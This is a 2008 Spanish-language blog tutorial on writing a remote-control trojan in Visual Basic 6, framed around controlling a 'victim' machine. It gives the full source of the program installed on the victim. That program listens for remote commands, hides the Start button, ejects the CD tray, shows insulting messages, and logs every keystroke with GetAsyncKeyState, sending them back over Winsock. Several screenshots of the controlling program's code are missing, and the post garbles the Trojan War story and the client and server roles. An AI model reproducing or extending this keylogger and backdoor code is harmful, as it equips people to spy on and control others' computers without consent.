domingo, 4 de mayo de 2008

Como Hacer Un Virus Troyano En Visual Basic 6

Muy bien, ahora veremos como hacer un virus troyano en el lenguaje de programación llamado visual basic, en su version 6.0

INTRODUCCION

Empecemos por el nombre de estos programas: Troyanos. Se llaman asi en honor al caballo de troya por las similitudes entre ambos. Veamos la historia, hubo una guerra entre las ciudades griegas de Esparta y Troya, los troyanos no pudieron vencer en combate a los espartanos, razon por la cual tramaron un astuto plan para vencerlos. La ciudad de esparta estaba sitiada por los troyanos, pero cierto dia, los troyanos se fueron, dejando solo un gigantesco caballo de madera, con una nota en la que decian que era un regalo como reconocimiento a que no los habian podido vencer. Los crédulos espartanos aceptaron el regalo e introdujeron al caballo en la ciudad, sin saber que en su interior iba un ejercito de soldados los cuales al llegar la noche abrieron las puertas de las ciudad de esparta y los troyanos, que solo estaban escondidos, entraron a la ciudad y la tomaron.

Asi pues, un troyano es un programa informatico malicioso. El troyano se divide en dos partes, el servidor y el cliente. El servidor vendría siendo la maquina que tu usas y el cliente la maquina infectada, asi de simple. En si, el troyano no es un virus, pues solo da control sobre la maquina infectada, y solo es malo un troyano si es malo quien esta detras de el.

Ejemplos de troyanos hay muchos, el mismo internet explorer es uno, pues actua como un cliente y tambien es un troyano el famoso messenger, pues tiene caracteristicas similares a uno.

Como siempre, ire poniendo paso por paso el tutorial.

PASO 1

Primero que todo necesitamos saber programar, aunque sea lo mas mínimo en
visual Basic. Les aconsejo utilizar el visual Basic 6.0 para que no tengan complicaciones. Comenzaremos por el Servidor, o sea, el que controla a la victima y después haremos el cliente.

Abrimos Visual Basico y damos un click en "Exe Estándar". Una vez hecho esto le agregamos el control Winsock, el cual se agrega en la barra de controles -> "Componentes" -> "Microsoft Winsock Control 6.0". Este es el icono del Winsock por si las dudas:

Nuestro programa Servidor va a tener varias "Gracias", una de las cosas mas chistosas sera la de reproducir música mediante el Winamp 2.0, mas si la victima tiene instalado el 3 o el 5 estamos perdidos. Otra cosa que le meteremos es para que se le abra y cierre el lector de CD, un keyloger, enviarles mensajes predeterminados, y si andan ociosos para ocultarle el botón de inicio.

PASO 2

El formalurio les tendría que quedar como el de la foto:



PASO 3

A esos controles que agregaste, ponle estas propiedades:



PASO 4

Bueno, ya programamos la interfaz gráfica del servidor, ahora vamos a ver como queda el “Cliente”, vamos a echarle un vistazo que el este es mucho más sencillo que el “Servidor”. La forma visual del Victima, quedaría algo parecido al de la foto de abajo, procura también añadir los objetos de la parte de abajo junto con sus propiedades:



Nota: Los 2 controles timer tienen que estar con la propiedad enabled en true, este formulario tiene 2 controles textbox. El primero comprueba el texto que ha sido enviado desde el “Servidor”; me explico, por ejemplo, si el text1, osea, el de arriba, recibe la palabra “play”, nosotros lo programamos para que, cuando llegue esa palabra, se abra el Winamp. El text2, o sea, el de abajo, es el que esta captando todas las teclas presionadas por la victima. Si sienten que están perdidos, y no entienden nada de nada de lo que digo, no se preocupen, todavía no hemos hecho nada, pero les sugiero que vuelvan a leer todo esto una y otra vez. Hasta este momento, solamente le estamos dando el aspecto visual a nuestro troyano, aun no hemos puesto nada de código fuente, cosa que ya vamos a empezar en el siguiente paso.

PASO 5

Entonces comencemos con el código fuente, de partida el Winsock le debemos poner
un puerto al cual nos conectaremos tenemos que pensar en un puerto más o menos
elevado para que ningún otro programa lo vaya a cerrar por ejemplo Puerto: 8721.

El Winsock del SERVIDOR quedara así:



PASO 6

El Winsock del cliente quedara así:



PASO 7

Ahora, regresa a tu servidor troyano y captura el siguiente código:



Y !!!!OJO!!!!, nota como aca sigue el codigo fuente DENTRO DEL MISMO PROGRAMA SERVIDOR:



En el command6 lo que hace el código fuente es guardar todo el log que has recibido,
el log quedara guardado como loger.txt en el directorio en donde ejecutaste el
Servidor.

y aqui viene la parte final del código fuente del servidor:



En el evento load del formulario se agregan los Ítem’s al combo1 los cuales después los enviaremos como, bromas pesadas, bueno ahí están las fotos del código fuente del master, si nos damos cuenta solamente se envían códigos a la victima, y la victima hace la función, es por eso que el código fuente de la Victima no le voy a sacar fotos porque seria muy pesado el manual.

PASO 8

Entonces desde aquí comienza el código fuente de la victima, o sea, el programa cliente, primero que todo hay que agregar un modulo. El nombre del modulo será “Module1”, pero sin las comillas y el código fuente que hay dentro de este es el siguiente, aqui si, solamente haz un copy paste (pero recuerda: tu eres un programador, no un capturista de datos, asi que PIENSA, MEDITA, E-N-T-I-E-N-D-E, ANALIZA todo lo que haces):

'esto es para abrir el lector del CD
Option Explicit
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal
lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, ByVal
hwndCallback As Long) As Long
' estas declaraciones son del winamp
Option Base 1
'Funciones para poder usar el Winamp
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal
lpClassName As String, ByVal lpWindowName As Long) As Long
Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal WndID As
Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As
Long
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal WndID
As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As
Long

Declare Function CopyDataSendMessage Lib "user32" Alias "SendMessageA" (ByVal
WndID As Long, ByVal wMsg As Long, ByVal wParam As Long, ByRef lParam As
COPYDATASTRUCT) As Long
Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String,
ByVal lpString2 As String) As Long
Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd
As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As
String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Type COPYDATASTRUCT
dwData As Long
cbData As Long
lpData As Long
End Type
Public hWndWinamp As Long
Public RetVal As Long
'Windows Constantes
Public Const WM_COMMAND = &H111
Public Const WM_COPYDATA = &H4A
Public Const WM_USER = &H400
'Winamp Constantes
Public Const waClose As Long = 40001
Public Const waPlay As Long = 40045
Public Const waStop As Long = 40047
Public Const waPause As Long = 40046
Public Const waPreviousTrack As Long = 40044
Public Const waNextTrack As Long = 40048
Public Const waForward5Sec As Long = 40148
Public Const waRewind5Sec As Long = 40144
Public Const waRaiseVolume As Long = 40058
Public Const waLowerVolume As Long = 40059
Public Const waShuffle As Long = 252
Public Const waGetStatus As Long = 104
Public Const waGetPosLen As Long = 105
Public Const waSetPos As Long = 106
Public Const waSetVolume As Long = 122
'Winamp Constates del estado ejecucción
Public Const waPlaying As Long = 1
Public Const waPaused As Long = 3
Public Const waStopped As Long = 0
Public Const waPlayStatusError As Long = -1
'Iniciar Winamp
Public Sub StartWinamp(waclass As String)
Dim dirWA As String
dirWA = "C:\Archivos de programa\Winamp\winamp.exe /CLASS=" & Chr(34) &
waclass & Chr(34)
Shell dirWA, vbMinimizedNoFocus ‘ abre el Winamp minimizado
End Sub
'Salir Winamp
Public Sub CloseWinamp(waclass As String)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
RetVal = SendMessage(hWndWinamp, WM_COMMAND, waClose, 0)
End Sub
'Ejecuta la canción
Public Sub PlayTrack(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waPlay
Else
SendIt waPlay
End If
End Sub
'Detiene la canción
Public Sub StopTrack(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waStop
Else
SendIt waStop
End If
End Sub
'Pausa la canción
Public Sub PauseTrack(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waPause
Else
SendIt waPause
End If
End Sub
'Canción anterior
Public Sub PreviousTrack(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waPreviousTrack
Else
SendIt waPreviousTrack
End If
End Sub
'Canción siguiente
Public Sub NextTrack(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waNextTrack
Else
SendIt waNextTrack
End If
End Sub
'Avanza 5 segundos la canción
Public Sub Forward5Sec(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waForward5Sec
Else
SendIt waForward5Sec
End If
End Sub
'Retrocede 5 segundos la canción
Public Sub Rewind5Sec(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waRewind5Sec
Else
SendIt waRewind5Sec
End If
End Sub
'Obtiene el estado del Winamp
Public Function GetStatus(waclass As String) As Long
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Function
End If
GetStatus = SendMessage(hWndWinamp, WM_USER, 0, waGetStatus)
End Function
'Funciones para los mensajes
Private Sub PostIt(Action As Long)
Dim n As Date
n = Now
Do
RetVal = PostMessage(hWndWinamp, WM_COMMAND, Action, 0)
Debug.Print "post", Now - n, 5 / 86400
If RetVal = 0 Then
If Now - n > 5 / 86400 Then
MsgBox "Couldn't queue message for 5 seconds: " & Action
Exit Do
End If
End If
Loop Until RetVal <> 0
End Sub
Private Sub SendIt(Action As Long)
RetVal = SendMessage(hWndWinamp, WM_COMMAND, Action, 0)

PASO 9

Ahora nos vamos al formulario del la victima, o sea, el cliente, luego nos vamos a la ventana de código y en la sección de declaraciones copiamos este código fuente:

Dim WAClase As String
'declaraciones para el boton del inicio onda kitarlo y volver a ponerlo
Option Explicit
Const WS_CHILD = &H40000000
Const WM_LBUTTONDOWN = &H201
Const WM_LBUTTONUP = &H202
Const SW_HIDE = 0
Const SW_NORMAL = 1
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA"
(ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2
As String) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal
lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal
nCmdShow As Long) As Long
Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect
As RECT) As Long
Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowExA"
(ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As
String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth
As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As
Long, ByVal hInstance As Long, lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As
Long
Dim tWnd As Long, bWnd As Long, ncWnd As Long
'de aquí termina para quitar mostrar inicio
'este es para el keyloger
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As
Integer

PASO 10

Ahora bien, despues de haber declaro el código de arriba, inmediatamente a este, pon este otro código:

Private Sub Form_Load()
Timer1.Interval = 1 ‘cada una milésima de Segundo se capta teclas
Timer2.Interval = 1 ‘cada 1 milésima de segundo se borra la caja text
Winsock1.Listen ' deja el programa esperando una conexión
WAClase = "VBE"
End Sub
Private Sub Text1_Change()
If Text1.Text = "quitar_inicio" Then
tWnd = FindWindow("Shell_TrayWnd", vbNullString) 'quita el boton de inicio
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)
ShowWindow bWnd, SW_HIDE ‘al recibir quitar inicio kita el inicio temporalmente
End If
If Text1.Text = "mostrar_inicio" Then
ShowWindow bWnd, SW_NORMAL 'con esta funcion muestra el boton de inicio
End If
If Text1.Text = "abrir_cd" Then
mciSendString "set CDAudio door open", "", 127, 0 'abre el lector de cd
End If
If Text1.Text = "cerrar_cd" Then
mciSendString "set CDAudio door closed", "", 127, 0 'cierra el lector de cd
End If
If Text1.Text = "Corporaciones By Jhonykay & Yankee" Then
MsgBox "Corporaciones", vbInformation, "Pantufla69" ' tira un
mensaje de error
End If
If Text1.Text = "Error 401 Este pc debe ser formateado xD" Then
MsgBox "Error 401 Este pc debe ser formateado xD", vbCritical, "Pantufla69"
End If
If Text1.Text = "Soi tu dios" Then
MsgBox "Soi tu dios y decido meterte un dedo en el culo", vbExclamation,
"Pantufla69"
End If
If Text1.Text = "abrir_win" Then StartWinamp WAClase ' abre el winamp
If Text1.Text = "cerrar_win" Then CloseWinamp WAClase 'cierra el winamp
If Text1.Text = "atras_win" Then PreviousTrack WAClase 'tema anterior winamp
If Text1.Text = "play_win" Then PlayTrack WAClase 'reproduce el winamp
If Text1.Text = "pause_win" Then PauseTrack WAClase 'pause ene l winamp
If Text1.Text = "stop_win" Then StopTrack WAClase 'detiene el tema en el winamp
If Text1.Text = "adelante_win" Then NextTrack WAClase 'el tema sig del winamp
If Text1.Text = "RW_win" Then Rewind5Sec WAClase ' retrocede 5 seg winamp
If Text1.Text = "FF_win" Then Forward5Sec WAClase 'adelanta 5 seg winamp
End Sub
Private Sub Text2_Change()
Dim enviar As String
If Winsock1.State = sckConnected Then 'si es que esta establecida la conexión
enviar = Text2.Text 'se comienza a enviar los logers
Winsock1.SendData Text2.Text
End If
End Sub
Private Sub Timer1_Timer()
On Error Resume Next 'cualquier error no lo representa
Dim enviar As String
Dim x As Integer, i As Integer
For i = 33 To 124
x = GetAsyncKeyState(i)
If x = -32767 Then
Text2.Text = Chr(i) + enviar 'texto 2 = a teclaa precionada
End If
Next
x = GetAsyncKeyState(32) ' tecla 32 = al espacio
If x = -32767 Then
Text2.Text = " " 'lo reprecenta como un espacio
End If
End Sub
‘’’’’’ en realidad pueden ir a gregando mas teclas ya que hay varias que nos las
reconoce’’’’’’’’’’
Private Sub Timer2_Timer()
Text2.Text = "" 'este timer es para que cuando la victima presione una tecla
'2veces se envia 2 veces :-P
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos ' recibe informacion
Text1.Text = "" ' despues al recibir otro texto s elimpia el text1
Text1.Text = Text1.Text + datos
End Sub

Y eso es todo. Un agradecimiento a JohnKay por el tutorial.

No hay comentarios: